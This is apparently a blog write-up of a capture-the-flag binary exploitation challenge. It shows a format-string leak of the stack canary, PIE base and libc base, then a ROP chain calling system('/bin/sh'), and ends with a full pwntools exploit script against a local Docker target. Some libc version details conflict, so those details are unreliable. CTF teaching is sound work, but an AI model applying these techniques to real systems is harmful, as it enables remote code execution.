For the birds
I use pwntools for my scripting. While I will show snippets where relevant, I will share the full script at the end.
I will create a follow-up blog on ROP introduction and notify.
Checksec
[*] '/home/levanto/Documents/Return-To-ROP/ChasingFlags/BlackHat/PWN/secret/main'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
There is a stack canary - which you have to get if you would need to overwrite a return address.
Rodata
Contents of section .rodata:
2000 01000200 00000000 506c6561 73652066 ........Please f
2010 696c6c20 696e2079 6f757220 6e616d65 ill in your name
2020 3a005468 616e6b20 796f7520 00000000 :.Thank you ....
2030 536f206c 65742773 20676574 20696e74 So let's get int
2040 6f206275 73696e65 73732c20 67697665 o business, give
2050 206d6520 61207365 63726574 20746f20 me a secret to
2060 6578706c 6f697420 6d65203a 292e0042 exploit me :)..B
2070 79652c20 676f6f64 206c7563 6b206e65 ye, good luck ne
2080 78742074 696d6520 3a442000 xt time :D .
You can infer that there are two inputs from the user given by the strings at @offset 0x2008 and @offset 0x2030
Interesting functions (readelf --syms main
)
- main
- get_name @offset 0x11e9
main @offset 0x1264
Calls a
get_name()
function; takes input and puts at rbp-0x40(top of the stack)
...
; calls to get_name(), no parameters
12c0: e8 24 ff ff ff call 11e9 <get_name>
12c5: 48 8d 3d 64 0d 00 00 lea rdi,[rip+0xd64] 2030 -> So let's get into business, give me a secret to exploit me :)
12cc: e8 cf fd ff ff call 10a0 <puts@plt>
; Gets user input with gets(rbp-0x40)
12d1: 48 8d 45 c0 lea rax,[rbp-0x40]
12d5: 48 89 c7 mov rdi,rax
12d8: b8 00 00 00 00 mov eax,0x0
12dd: e8 fe fd ff ff call 10e0 <gets@plt>
12e2: 48 8d 3d 86 0d 00 00 lea rdi,[rip+0xd86] # 206f <_IO_stdin_used+0x6f>
12e9: e8 b2 fd ff ff call 10a0 <puts@plt>
; stack canary check
1302: e8 a9 fd ff ff call 10b0 <__stack_chk_fail@plt>
1307: c9 leave
1308: c3 ret
1309: 0f 1f 80 00 00 00 00 nop DWORD PTR [rax+0x0]
get_name @offset 0x11e9
Reads user input to rbp-0x30(top of the stack) and
printf()
it.
; calls read(0, rbp-0x30, 0x1e)
1210: 48 8d 45 d0 lea rax,[rbp-0x30]
1214: ba 1e 00 00 00 mov edx,0x1e
1219: 48 89 c6 mov rsi,rax
121c: bf 00 00 00 00 mov edi,0x0
1221: b8 00 00 00 00 mov eax,0x0
1226: e8 a5 fe ff ff call 10d0 <read@plt>
; prints the input
123c: 48 8d 45 d0 lea rax,[rbp-0x30]
1240: 48 89 c7 mov rdi,rax
1243: b8 00 00 00 00 mov eax,0x0
1248: e8 73 fe ff ff call 10c0 <printf@plt>
; stack canary check
125d: e8 4e fe ff ff call 10b0 <__stack_chk_fail@plt>
1262: c9 leave
The vulnerability
gone fishing in pondf
get_name
takes user input and displays to stdout usingprintf()
without supplying a format string. A format string attack by passing format strings.
The objective is to leak pointers from the stack - the format specifier %p
will be useful here.
What is important to leak:
- the stack canary
- the return address to main <- Use this to get pie base(Where the program is loaded in memory)
- the return address to __libc_start_main_ret <- Use this to get libc base
You have to find the position of our target leaks.
You are an eip inside get_name, this is how the program stack view looks like:
To effect the format string vulnerability, you need to remember you now inside the printf
stack, the view looks like:
Our format specifier, “formats” 8 bytes of input(in this case stack juice). So the offsets are:
# printf stack = 0x28; input size = 0x10; get_name stack = 0x30; ret_addr_to_main = 0x8; main stack = 0x40; rbp = 0x8
offset_to_canary = (0x28 + 0x10 + 0x20)/0x8 # 11
offset_to_ret_from_getname = (0x28 + 0x10 + 0x30)/0x8 # 13
offset_to_ret_from_main = (0x28 + 0x10 + 0x30 + 0x8 + 0x40 + 0x8)/0x8 # 23
# Let's send the first payload
io.recvuntil(':')
io.sendline(f'%{offset_to_canary}$p.%{offset_to_ret_from_getname}$p.%{offset_to_ret_from_main}$p')
response = io.recvline_contains('0x').decode()
leaked_addrs = response.split(" ")[-1].split(".")
canary = int(leaked_addrs[0], 16)
ret_main_addr = int(leaked_addrs[1], 16)
ret_libc_main_addr = int(leaked_addrs[2], 16)
Find resource on understanding format string vulnerability here
There is a rabbithole in printf you can satisfy here and here
Trying to catch a shell fish
Goal: Call system(/bin/sh)
How: Overwrite return address from main; pass “/bin/sh” string as parameter and call system
; hopefully pop a shell somehow.
Offsets! You need to figure out, which libc is in the system your program is running.
Running ldd main
shows you the shared dependencies of the program(dependent on the system you are running this on).
Locally:
Luckily, the challenge had a Dockerfile which throws a needed clue: the remote server is an ubuntu 18.04. Quick google search shows the libc version on ubuntu 18.04 is libc-2.37.so.
Note, this still took me through some rabbitholes to get the correct libc-2.37 version.
ooor, you could go the cooler route and use libc-database
Mira! You leaked the ret_to_libc_ret_main
, despite PIE, the last digits of the address are guaranteed to be static.
ret_to_libc_ret_main = 0x7fd17fbbcc87 # Let's search for 0xc87
Let’s build a ROP chain
This ROP chain has to load the bin_str
address to the rdi register(load as parameter), then call system
.
Remember, ret
is what progresses this chain, from one instruction to another, by returning execution to the stack(where this chain is).
Popping takes the value on the stack and loads it to the register specified. So, pop rdi
will load the value on the stack(which you control) to rdi.
rop_chain = pop_rdi + ret + bin_sh_str_addr + system_addr
To get gadget:
# target addresses
system_addr = p64(libc_base + 0x4f420)
bin_str = p64(libc_base + 0x1b3d88)
# get gadgets
pop_rdi = p64(pie_base + 0x1373)
rop_chain = b'a' * 56 # offset to the main function's canary
rop_chain += p64(canary)
rop_chain += b'a' * 8 # pad for rbp
rop_chain += p64(pie_base + 0x101a) # ret to re-align stack
# pass param and call system
rop_chain += pop_rdi + bin_str
rop_chain += system_addr
aaand:
APPENDIX
setup
Wanna try out this challenge? Get files here
Instructions to set up remote env.:
docker build -t secret <path_to_directory_where_you_have_the_dockerfile>
docker run -p 1337:1337 --name secret_ secret
Plus a docker cheatsheet for you ;)
remote("127.0.0.1", 1337)
and enjoy!
script
from pwn import *
io = remote("127.0.0.1", 1337)
# binaries we are working with
e = ELF('main')
libc = ELF("./libc-2.27.so") # downloaded from libc.rip
# ********************************************
# * Let's leak addresses that will enable us *
# * to get pie base and libc base . *
# * We leak: *
# * - The stack canary *
# * - The return address for get_name *
# * - The return address for main *
# ********************************************
# offset to addresses we want to leak
offset_to_canary = 11
offset_to_ret_from_getname = 13
offset_to_ret_from_main = 23
# Let's send the first payload
io.recvuntil(':')
io.sendline(f'%{offset_to_canary}$p.%{offset_to_ret_from_getname}$p.%{offset_to_ret_from_main}$p')
response = io.recvline_contains('0x').decode()
leaked_addrs = response.split(" ")[-1].split(".")
canary = int(leaked_addrs[0], 16)
ret_main_addr = int(leaked_addrs[1], 16)
ret_libc_main_addr = int(leaked_addrs[2], 16)
# libc offsets
libc_start_main_ret_offset = libc.libc_start_main_return
system_offset = libc.symbols['system']
# offset to ret from get_name
ret_to_main_offset = 0x12c5
# base addresses
libc_base = ret_libc_main_addr - libc_start_main_ret_offset
pie_base = ret_main_addr - ret_to_main_offset
# ************************************************************
# * Now let us prepare our rop chain for the second payload. *
# * We want to: *
# * - Write our command a writeable section in memory *
# * - Pass address to written section and call system *
# ************************************************************
# target addresses
system_addr = p64(libc_base + system_offset)
bin_str = p64(libc_base + 0x1b3d88)
# get gadgets
pop_rdi = p64(pie_base + 0x1373)
rop_chain = b'a' * 56 # offset to the main function's ret address
rop_chain += p64(canary)
rop_chain += b'a' * 8 # pad for rbp
rop_chain += p64(pie_base + 0x101a) # ret to re-align stack
# pass param and call system
rop_chain += pop_rdi + bin_str
rop_chain += system_addr
# send the second payload
io.recvuntil(":).")
io.sendline(rop_chain)
io.interactive()